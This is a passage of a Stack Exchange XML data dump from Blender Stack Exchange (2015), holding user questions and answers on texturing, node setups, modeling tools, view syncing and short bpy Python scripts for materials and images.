alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/La8zT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/La8zT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="599" LastEditDate="2015-08-05T19:43:35.277" LastActivityDate="2015-08-05T21:55:14.400" Title="How to change the colors of a two-color texture?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35143" PostTypeId="2" ParentId="35105" CreationDate="2015-08-05T17:31:28.833" Score="4" Body="&lt;p&gt;To make our life easy blender can remember an image that you choose in the UV/mage editor while uv unwrapping or that you create while texture painting and use it when drawing an object in the 3d viewport. This only happens in the viewport with the right settings but does not carry over into the final render, to use an image texture in the final render you need to setup your material properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recent versions of blender added the ability to add images to paint onto, when using blender internal the texture is normally also created, in cycles when needed a material and/or an image texture node can be created but it doesn't get connected up, you need to do that yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If using blender internal you need to ensure that the texture is added and setup to use the image. For cycles you need to ensure the image texture node is connected to the shader node that you want to use.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-05T17:31:28.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35144" PostTypeId="2" ParentId="35142" CreationDate="2015-08-05T17:33:50.437" Score="1" Body="&lt;p&gt;Try inverting the image texture before hooking it up to diffuse instead of using it as a factor. &lt;/p&gt;&#xA;" OwnerUserId="13050" LastActivityDate="2015-08-05T17:33:50.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35145" PostTypeId="1" AcceptedAnswerId="35147" CreationDate="2015-08-05T17:44:21.740" Score="2" ViewCount="79" Body="&lt;p&gt;I am currently working on a model where I find myself making 4 different repeated insets with different depths and thicknesses for bolt head recesses.&lt;br&gt;&#xA;The inset tool remembers the previous used setting. Is there a way to load and save a preset for it, and save me typing it in each time and reduce the number of post it notes stuck to my monitor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the answer is no could someone indicate if this is the sort of automation script suitable for a relative newcomer to scripting? I'm tempted but a little wary to give it a go.&lt;/p&gt;&#xA;" OwnerUserId="16173" LastEditorUserId="2217" LastEditDate="2015-08-05T18:38:24.640" LastActivityDate="2015-08-05T18:38:24.640" Title="Can I save presets for the inset tool?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35146" PostTypeId="1" AcceptedAnswerId="35189" CreationDate="2015-08-05T17:49:20.670" Score="6" ViewCount="610" Body="&lt;p&gt;I am currently attempting to do a trick with texture mapping and noise texturing.  The effect I am trying to accomplish is to change the &lt;em&gt;direction&lt;/em&gt; of the stretching on the noise bumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the image below, the bumps get stretched out as they approach the edge of the sphere.  They stretch in a direction parallel to the edge.  What I want to do is have them stretched perpendicular to the edge, so that going longways with each bump it will point towards the edge more as the underlying surface points away from the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZlJJR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZlJJR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image below, a mockup made in GIMP with the Motion Blur (Zoom) filter, gives a rough idea of the effect I wish to accomplish.  The desired effect also should not rely upon baking or screen size/ratio, and it needs to work on organic shapes (I am just using a sphere for testing).  It also needs to work without OSL since I intend to use GPU rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/80HaT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/80HaT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the current node setup I am using.  Probably nowhere near close to what I need to do to get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7I8L2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7I8L2.png&quot; alt=&quot;A&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1897" LastEditorUserId="1897" LastEditDate="2015-08-05T17:56:02.943" LastActivityDate="2015-08-06T11:20:41.230" Title="Attempting to stretch texture towards edges" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35147" PostTypeId="2" ParentId="35145" CreationDate="2015-08-05T17:50:18.877" Score="0" Body="&lt;p&gt;No there is no way save for scripting to load and save presets for operators that do not explicitly support it in the toolbar. This would not be my recommendation for a &lt;em&gt;first&lt;/em&gt; project in blender API however after a few basic tutorials (maybe &lt;a href=&quot;https://m.youtube.com/watch?v=ALfl4tebiQM&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; ) you should be able to do this sort of thing on your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Another alternative that comes to my mind is &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Objects/Duplication&quot; rel=&quot;nofollow&quot;&gt;duplication&lt;/a&gt;. I can't tell if that is helpful but certainly making one bolt by hand is far easier than making a script to do it.&lt;/p&gt;&#xA;" OwnerUserId="13050" LastEditorUserId="13050" LastEditDate="2015-08-05T18:21:14.013" LastActivityDate="2015-08-05T18:21:14.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35148" PostTypeId="2" ParentId="35142" CreationDate="2015-08-05T17:50:56.420" Score="7" Body="&lt;p&gt;You need to create a mask (a black and white image) from the range of values you want to color in your image texture, explained in &lt;a href=&quot;https://blender.stackexchange.com/a/27803/2217&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the nodes below I used a &lt;em&gt;ColorRamp&lt;/em&gt; node to select the range of values (the highlights). You could set the interpolation of the color ramp node to &lt;em&gt;Consent&lt;/em&gt;, but I left it at the default of &lt;em&gt;Linear&lt;/em&gt; so that there is a smother transition between the original image and the new color.&lt;br&gt;&#xA;The output from the color ramp is the mask. Plug that mask in to the &lt;em&gt;Fac&lt;/em&gt; of the &lt;em&gt;Mix&lt;/em&gt; node, the bottom socket is the color that all the highlights will be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l3Tnq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l3Tnq.png&quot; alt=&quot;material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not have your exact texture, so the stops in your color ramp node may have to be in different spots to select the correct values.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is the result, using the nodes above.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XFZmt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XFZmt.png&quot; alt=&quot;final result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-08-05T21:55:14.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35149" PostTypeId="2" ParentId="35130" CreationDate="2015-08-05T18:17:25.127" Score="2" Body="&lt;p&gt;Yes it is possible, python can create nodes, position them, group them and add links. See &lt;a href=&quot;https://blender.stackexchange.com/a/5430/935&quot;&gt;example in this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your example, you may want to update, the Separate/Combine XYZ nodes were &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;added in 2.72&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-08-05T18:17:25.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35150" PostTypeId="2" ParentId="35142" CreationDate="2015-08-05T18:19:29.020" Score="8" Body="&lt;p&gt;Set up the nodes as pictured below. Add a &lt;strong&gt;&lt;em&gt;RGB to BW&lt;/em&gt;&lt;/strong&gt; node to make your texture work as a mask for two &lt;em&gt;Diffuse&lt;/em&gt; shaders. Set up the colors for &lt;em&gt;Diffuse&lt;/em&gt; shaders. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/XujVq.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XujVq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flip the input sockets of the &lt;em&gt;Mix Shader&lt;/em&gt; for a reverse result.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RLUdA.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RLUdA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-05T18:47:12.747" LastActivityDate="2015-08-05T18:47:12.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35151" PostTypeId="2" ParentId="35142" CreationDate="2015-08-05T18:21:39.173" Score="1" Body="&lt;p&gt;To replays the Diffuse Black I plugged my texture through ColorRamp into the Factor of the Mix Shader with Diffuse Node and Glossy Node, I made the Glossy Orange so you could see. Works Great&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gZx42.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gZx42.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yEP3w.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yEP3w.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot to David, changing the ColorRamp to Constant really helped&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-08-05T18:35:05.540" LastActivityDate="2015-08-05T18:35:05.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35152" PostTypeId="1" AcceptedAnswerId="35188" CreationDate="2015-08-05T18:56:09.430" Score="3" ViewCount="837" Body="&lt;p&gt;I'm trying to create an exporter for a format, which includes shape key support. This format requires both vertex coordinates and normals to be specified. This should be logical, because the vertex selected on the image below won't have the same normals:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/amskL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/amskL.png&quot; alt=&quot;http://i.imgur.com/PztY8Qz.png&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing it to this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3xno2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3xno2.png&quot; alt=&quot;http://i.imgur.com/GHZkNXS.png&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I actually haven't found any way to export shape key normals. Both Bmesh Vertex and ShapeKey Vertex only store the coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get them?&lt;/p&gt;&#xA;" OwnerUserId="16174" LastEditorUserId="55" LastEditDate="2016-03-23T16:03:22.073" LastActivityDate="2016-03-23T16:10:24.370" Title="How to get vertex normals from a shape-key in Python?" Tags="&lt;python&gt;&lt;export&gt;&lt;vertices&gt;&lt;shape-keys&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35153" PostTypeId="1" CreationDate="2015-08-05T19:05:20.487" Score="1" ViewCount="43" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BKRko.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BKRko.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to rotate the highlighted part, if I try to do so with R it will rotate the whole object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me a way to only rotate the highlighted part?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also thanks for the helpful replies on my previous question!)&lt;/p&gt;&#xA;" OwnerUserId="16169" LastActivityDate="2015-08-05T19:31:49.537" Title="Limited rotation?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-05T19:20:33.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="35154" PostTypeId="2" ParentId="35153" CreationDate="2015-08-05T19:09:20.633" Score="1" Body="&lt;p&gt;You have to &lt;em&gt;turn off&lt;/em&gt; &lt;a href=&quot;https://www.blender.org/manual/getting_started/basics/transformations/transform_control/proportional_edit.html?highlight=proportional%20editing&quot; rel=&quot;nofollow&quot;&gt;Proportional Editing&lt;/a&gt;, just press &lt;kbd&gt;O&lt;/kbd&gt; key.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="3710" LastEditDate="2015-08-05T19:31:49.537" LastActivityDate="2015-08-05T19:31:49.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35155" PostTypeId="2" ParentId="35146" CreationDate="2015-08-05T20:06:32.753" Score="3" Body="&lt;p&gt;Set up the nodes as pictured below. In Texture Coordinate node choose the &lt;strong&gt;&lt;em&gt;Normal&lt;/em&gt;&lt;/strong&gt; output. Select the &lt;strong&gt;&lt;em&gt;Normal&lt;/em&gt;&lt;/strong&gt; option in a &lt;em&gt;Mapping&lt;/em&gt; node and experiment with its &lt;em&gt;Scale&lt;/em&gt; settings.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sFJvI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sFJvI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the Z Scale to increase the stretch of a noise.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nTbhw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nTbhw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this technique to procedurally create the iris. Hope this is the effect you're looking for.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IGCNx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IGCNx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: After playing with the nodes I found out a new solution, though I am not sure it's the proper way of doing it.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ByMFw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ByMFw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-06T11:20:41.230" LastActivityDate="2015-08-06T11:20:41.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35156" PostTypeId="1" CreationDate="2015-08-05T20:26:29.673" Score="4" ViewCount="613" Body="&lt;p&gt;I'm making a radar display animation (those spinning once) for a movie project. What I do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set up a material in cycles to see how it fits together (using b&amp;amp;w images)&lt;/li&gt;&#xA;&lt;li&gt;Create alpha textures to make animations using object planes&lt;/li&gt;&#xA;&lt;li&gt;Replace alpha textures with b&amp;amp;w once for compositing&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The alpha textures show only when selected and what's worse it has to be done one by one (twelve planes with textures). I followed this video for the &quot;draw order&quot; - &lt;a href=&quot;https://www.youtube.com/watch?v=4mSGOTaoCgM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=4mSGOTaoCgM&lt;/a&gt;, but it never works. I need the textures to show when the camera is selected.&#xA;Expected result -&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lkWhg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkWhg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;What I get -&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eYiXK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eYiXK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;blend_file - &lt;a href=&quot;http://www.pasteall.org/blend/37452&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37452&lt;/a&gt;&#xA;texture 1 - &lt;a href=&quot;http://www.pasteall.org/pic/91624&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/pic/91624&lt;/a&gt;&#xA;texture 2 - &lt;a href=&quot;http://www.pasteall.org/pic/91625&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/pic/91625&lt;/a&gt;&#xA;texture 3 - &lt;a href=&quot;http://www.pasteall.org/pic/91626&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/pic/91626&lt;/a&gt;&#xA;I'm not expecting others to fix it, I want to know what's the problem and how can I fix it&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-08-05T20:45:05.307" LastActivityDate="2017-12-17T13:34:04.097" Title="Alpha textures show only when selected" Tags="&lt;texturing&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35157" PostTypeId="1" CreationDate="2015-08-05T20:30:52.690" Score="3" ViewCount="1050" Body="&lt;p&gt;I have two 3D views, one for each of my monitors. The first view with a solid shading and the second with the rendered view of Octane render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if when rotating my solid shaded view the rendered view would update, on the other monitor, to reflect the same change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Blender?&lt;/p&gt;&#xA;" OwnerUserId="16146" LastEditorUserId="2217" LastEditDate="2015-08-05T21:50:16.703" LastActivityDate="2015-08-05T21:50:16.703" Title="Keeping two 3D Views in sync?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35158" PostTypeId="2" ParentId="34930" CreationDate="2015-08-05T20:33:44.707" Score="1" Body="&lt;p&gt;Here is python code which might serve as a start: &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/texture-one-cube-face.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/texture-one-cube-face.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;def apply_image_to_face(template, fname):&#xA;    imgs = [ img for img in bpy.data.images if img.type=='IMAGE' and img.filepath==fname]&#xA;    if len(imgs)&amp;lt;1:&#xA;        img = bpy.data.images.load(fname)&#xA;        print(img.name)&#xA;    else:&#xA;        img = imgs[0]&#xA;&#xA;    tex = bpy.data.textures.new(fname, 'IMAGE')&#xA;    tex.image = img&#xA;&#xA;    obj = bpy.data.objects.new(&quot;capybara&quot;, template.data)&#xA;&#xA;    mat = template.data.materials[1].copy()&#xA;&#xA;    tslot = mat.texture_slots[0]&#xA;    if tslot is None:&#xA;        tslot = mat.texture_slots.add()&#xA;    tslot.texture = tex&#xA;    tslot.texture_coords = 'UV'&#xA;&#xA;    obj.material_slots[1].link = 'OBJECT'&#xA;    print(obj.material_slots[1].link)&#xA;    obj.material_slots[1].material = mat&#xA;    print(&quot;argh &quot;+obj.material_slots[1].link)&#xA;&#xA;    return obj&#xA;&#xA;&#xA;# this needs to be the template object.&#xA;# It needs to already have a UV map.&#xA;# The first texture slot is for most of the cube.&#xA;# The second texture slot must exist and we will fill it with a newly-created material for the image&#xA;# one of the faces must already be assigned this second material.&#xA;template = bpy.data.objects[&quot;template&quot;]&#xA;# template = bpy.context.active_object&#xA;&#xA;obj = apply_image_to_face(template, &quot;/home/thoth/art/drawing-practice/totoro.png&quot;)&#xA;obj.location= (0,1,0)&#xA;bpy.context.scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to have a template object named 'template'.  That object has to already have a UV map.  It has to have two materials.  The second material will be cloned to make the per-image materials.  At least one of the faces on the template object must use that second material (otherwise it never gets used to paint anything)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.75a has a bug where when I set the &lt;code&gt;material_slot[1].link = 'OBJECT'&lt;/code&gt; it does not stick.  It reverts to 'DATA' right after I assign material_slot&lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/meshFromBathymetry.html&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;.material .  A fix for this is already in the tracker and will probably be in the next release of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code above would have to be adapted if you have your own RGB pixel data instead of a file in the filesystem.   Change out the part that does &lt;code&gt;bpy.data.images.load(fname)&lt;/code&gt; with something like getGradientImage() from &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/meshFromBathymetry.html&quot; rel=&quot;nofollow&quot;&gt;this bathymetry script&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def getGradientImage():&#xA;    &quot;&quot;&quot;rainbow gradient image&quot;&quot;&quot;&#xA;    rval = bpy.data.images.get(&quot;gradient&quot;)&#xA;#    print(rval)&#xA;    if rval is None:&#xA;        rval = bpy.data.images.new(&quot;gradient&quot;, 1, 6)&#xA;&#xA;        rval.pixels = [&#xA;            #R,G,B,A,&#xA;            1,0,1,1, # magenta&#xA;            0,0,1,1, # blue&#xA;            0,1,1,1, # cyan&#xA;            0,1,0,1, # green&#xA;            1,1,0,1, # yellow&#xA;            1,0,0,1, # red&#xA;        ]&#xA;        # if we don't pack the image into the .blend, it will be lost when you re-load the project&#xA;        rval.pack(True)&#xA;    return rval&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you'll want to give each data set its own image name instead of &quot;gradient&quot;.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-08-11T18:09:28.967" LastActivityDate="2015-08-11T18:09:28.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35159" PostTypeId="1" AcceptedAnswerId="35163" CreationDate="2015-08-05T21:42:42.357" Score="4" ViewCount="2359" Body="&lt;p&gt;I painted an group of objects in Blender using the Vertex Paint and was wondering if it would be possible to unwrap the mutliple materials(when the objects are joined together using Ctrl+J)? Do I have to paint it all over again? &lt;/p&gt;&#xA;" OwnerUserId="16175" LastActivityDate="2018-05-22T18:45:38.487" Title="Is it possible to unwrap materials made in Vertex Paint?" Tags="&lt;uv&gt;&lt;vertex-paint&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35160" PostTypeId="2" ParentId="35157" CreationDate="2015-08-05T21:46:05.550" Score="3" Body="&lt;p&gt;One way to get any number of 3D views to copy the view angle from one is to have all the 3D views in &lt;em&gt;Camera&lt;/em&gt; view &lt;kbd&gt;NumPad 0&lt;/kbd&gt;. Then check &quot;&lt;em&gt;Lock Camera To View&lt;/em&gt;&quot; in the &quot;&lt;em&gt;View&lt;/em&gt;&quot; section of the properties region &lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside to this approach is that you always have to stay in the camera view, you can not use any of the view navigation controls. However you can hold &lt;kbd&gt;Alt&lt;/kbd&gt; while panning the view to snap the view at 45° angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3D view on the left is the view copying the center's view. The center is where I'm rotation the view, and where &lt;em&gt;Lock Camera To View&lt;/em&gt; is checked. The 3D view on the right is just to show what is happening in the scene.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jTEQ6.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jTEQ6.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-08-05T21:46:05.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35161" PostTypeId="1" CreationDate="2015-08-05T21:46:44.450" Score="2" ViewCount="457" Body="&lt;p&gt;While I was sculpting a model I noticed a vertex has gone way out of whack and gone inside the model and will not move back to where it should be by using brushes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a vertex generated by the multi-resolution modifier, below is the vertex in question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3nM4x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3nM4x.png&quot; alt=&quot;http://imgur.com/EMD49mU&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base mesh without modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6sUqo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6sUqo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It did not happen immediately and I am not exactly sure when, it was after 5 or so hours of sculpting I noticed it and it wouldn't have gone unnoticed for a too long. I believe it may have occurred when I was using the Crease brush if this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody knows how to fix this it would be much appreciated, I don't understand how this has happened to one side and not the other also, as it should be mirrored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="16176" LastEditorUserId="16176" LastEditDate="2015-08-05T22:32:22.237" LastActivityDate="2016-05-04T02:05:30.833" Title="Vertex out of position in sculpt mode!" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35162" PostTypeId="2" ParentId="35070" CreationDate="2015-08-05T21:49:20.653" Score="7" Body="&lt;p&gt;Just for the record, it's also possible to access the enum items via &lt;code&gt;bpy.types&lt;/code&gt; to look up all their properties:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;items = bpy.types.PoseBone.bl_rna.properties['SubSurfEnum'].enum_items&#xA;&#xA;pbone = bpy.context.selected_pose_bones[0] # some PoseBone&#xA;number = items[pbone.SubSurfEnum].value&#xA;# or access another property:    .icon&#xA;#                                .identifier&#xA;#                                .description&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's much more complicated if multiple items use the same identifier / name with different values however, because you can't lookup the right entry (I believe it will always pick the first with that name).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-05T21:49:20.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
